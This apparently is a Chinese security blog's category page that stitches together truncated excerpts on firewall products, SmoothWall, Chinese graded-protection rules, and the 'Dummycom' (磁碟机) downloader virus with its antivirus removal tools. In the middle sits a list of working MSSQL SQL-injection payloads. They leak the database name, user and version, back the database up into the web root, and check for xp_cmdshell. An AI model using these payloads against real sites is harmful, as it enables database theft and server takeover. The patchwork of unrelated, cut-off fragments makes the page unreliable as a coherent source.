分类： 安全

　　金山防火墙基于专门设计的硬件平台，以金山安全实验室自行定制的安全操作系统KSOS为核心，高度集成了防火墙、ASIC VPN、入侵检测、带宽管理、防拒绝服务网关、多媒体通信安全、认证授权、内容安全控制、ADSL/ISDN接入安全、高可用性配置能力等众多安全角色，提供高度安全、可信和健壮的安全解决方案，真正实现了单一设备对网络的全方位防护。

　　说明：这个SmoothWall汉化是很早以前做的了，不晓得现在SmoothWall是什么版本了，挂上看看吧，也许有的朋友能用的到。貌似网上有更新的版本出现了……游侠(https://www.youxia.org)没有测试。

　　什么是SmoothWall？

　　SmoothWall是欧洲成功的Open Source项目之一,它可以帮助你把一台已经淘汰的386,486机器变成一台功能强大,稳定的防火抢路由器!它已经被超过300,000个用户,21个国家使用!SmoothWall同时支持ISDN,ASDL/Cable和多网卡等网络设备,最令人不可思议的是所有这些都可以在5分钟之内配置完成!基于Web的管理和支持SSH,DHCP,完整的防火墙工具。

捍卫者安全管理系统分为三个版本：个人版、单机版、网络版

为了满足不同企业的具体需示，单机版和网络版又分为了

基础版、标准版、增强版

1、返回的是连接的数据库名
and db_name()>0
2、作用是获取连接用户名
and user>0
3、将数据库备份到Web目录下面
;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--
4、显示SQL系统版本
and 1=(select @@VERSION) 或and 1=convert(int,@@version)--
5、判断xp_cmdshell扩展存储过程是否存在
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
...

信息系统的安全保护等级分为以下五级：

　　(一)第一级为自主保护级,适用于一般的信息系统,其受到破坏后,会对公民、法人和其他组织的合法权益产生损害,但不损害国家安全、社会秩序和公共利益。

　　(二)第二级为指导保护级,适用于一般的信息系统,其受到破坏后,会对社会秩序和公共利益造成轻微损害,但不损害国家安全。

　　(三)第三级为监督保护级,适用于涉及国家安全、社会秩序和公共利益的重

瑞达可信域管理系统（瑞达网络资源监管系统）细化保护区域，依托等级保护思想，采用集成电路技术、芯片技术、可信计算技术、密码技术以及AAA等安全技术，从控制各类终端和使用终端的用户入手，为用户接入终端、终端的可信度测量、终端接入网络、网络资源的集中授权与访问控制、安全责任审计提供全方面的安全解决方案。

黔商专党字〔2007〕34号

中共贵州商业高等专科学校委员会

涉密计算机和涉密移动存储介质-保密管理规定

　　磁碟机病毒在各安全厂商和媒体的一致喊打声中突然销声匿迹，但这仅仅是盗号集团的暂时退却，很快，我们发现又一类利用配置autorun.inf配置自动运行的木马下载者蜂涌而至，同样，这些疯狂的下载者，可一次性下载20-30个盗号木马，用户的电脑将面临又一次蹂躏。

　　3月17日，针对危害严重的机器狗、磁碟机等恶性病毒，金山毒霸全球反病毒监测中心推出了国内首个自带引擎和病毒库的木马专杀工具———“磁碟机”专杀工具。
　　据了解，自从去年的AV终结者事件之后，具备反安全产品功能和强感染能力的下载器程序已成为深受木马生产者最为“喜爱”的产品，机器狗、磁碟机等木马均属此类病毒。同时，由于病毒作者的反安全产品技术水平有了较大的提高，使得一些专杀工具也无法查杀病毒，甚至还被病毒破坏。为此，金山毒霸推出了“磁碟机”专杀工具，用户只需及时下载最新的磁碟机专杀工具，就能够完成对磁碟机下载器的查杀，而依靠它自带的病毒库，还可顺便查杀磁碟机下载到用户电脑上的OnlineGames和Rootkit等流行盗号木马。同时，磁碟机专杀修复文件的功能也得到大幅提升。

【专杀工具】U盘病毒专杀工具2.2-2月19日更新 发表于 2008-02-03 15:50
版本：2.2　　 大小：837 KB　　最后更新：2008-2-19

U盘病毒简介：

U盘病毒会在系统中每个磁盘目录下创建autorun.inf病毒文件(不是所有的autorun.inf都是病毒文件)，因此也被称为“Autorun病毒”。此类病毒借助“Windows自动播放”的特性，使用户....

【专杀工具】磁碟机病毒(Dummycom)专杀工具-3月22日升级到v2.2 发表于 2008-02-03 15:48
版本：V2.2版　 大小：416KB　　最后更新：2008-03-22

磁碟机病毒(Dummycom)专杀工具

360磁碟机专杀v2.0，可彻底清除磁碟机病毒，完美修复被感染、被损坏的文件！

　　1、在C盘根目录下释放驱动NetApi000.sys，卸掉杀毒软件的钩子，使其监控失效。

　　2、从以下网站下载新病毒：
　　http://www.***.**/*.htm
　　http://js.k***.**/**.asp
　　http://js.k0****.**/**.asp
　　http://js.***.**/***.asp
　　http://js.***.**/

　　这是一个MFC写的感染型病毒。

　　病毒运行后首先会在C盘根目录下释放病毒驱动NetApi000.sys，该驱动用来恢复SSDT，把杀毒软件挂的钩子全部卸掉。然后在System32路径下的com文件夹中释放病毒文件smss.exe、netcfg.dll、netcfg.000、lsass.exe。
然后该程序退出，运行刚刚释放的lsass.exe。

　　lsass.exe运行后，会在com文件夹下重新释放刚才所释放的文件，同时会在system32文件夹下释放一个新的动态库文件dnsq.dll，然后生成两个随机名的log文件该文件是lsass.exe和dnsq.dll的副本，然后进行以下操作：
...

“磁碟机”专杀工具功能介绍:
江民“磁碟机”专杀工具能够有效查杀100多个磁碟机变种，并能够有效修复被病毒感染的可执行文件，并可以自定义病毒特征码进行查杀。

1.删除“磁碟机”病毒主程序。

2.删除所有盘符下的“autorun.inf”文件以及“autorun.inf所启动的磁碟机病毒主程序”文件。

3.修复病毒破坏的注册表项(安全模式、Run启动项、文件夹选项)。

电脑感染“磁碟机”变种病毒后，症状表现为运行任意程序时系统经常性死机或长时间卡住不动，病毒会以加密感染的方式感染除系统盘外的其它所有分区内的EXE文件、网页文件、RAR和ZIP压缩包中的文件等。被感染的文件图标变为16位图标，图标变得模糊，类似马赛克状。病毒一旦发现带有符合安全工具软件相关的窗口名存在，就会强行将其关闭（发送洪水似垃圾消息）。在所有盘符下生成“autorun.inf”和病毒程序文件体，并且会实时检测保护这些文件。病毒会下载20余种木马病毒，用以窃取中毒电脑中有价值的隐私信息。病毒通过十余种方式实现自我保护和避免被杀毒软件查杀，其隐藏和自我保护技术超过以往任何同类病毒。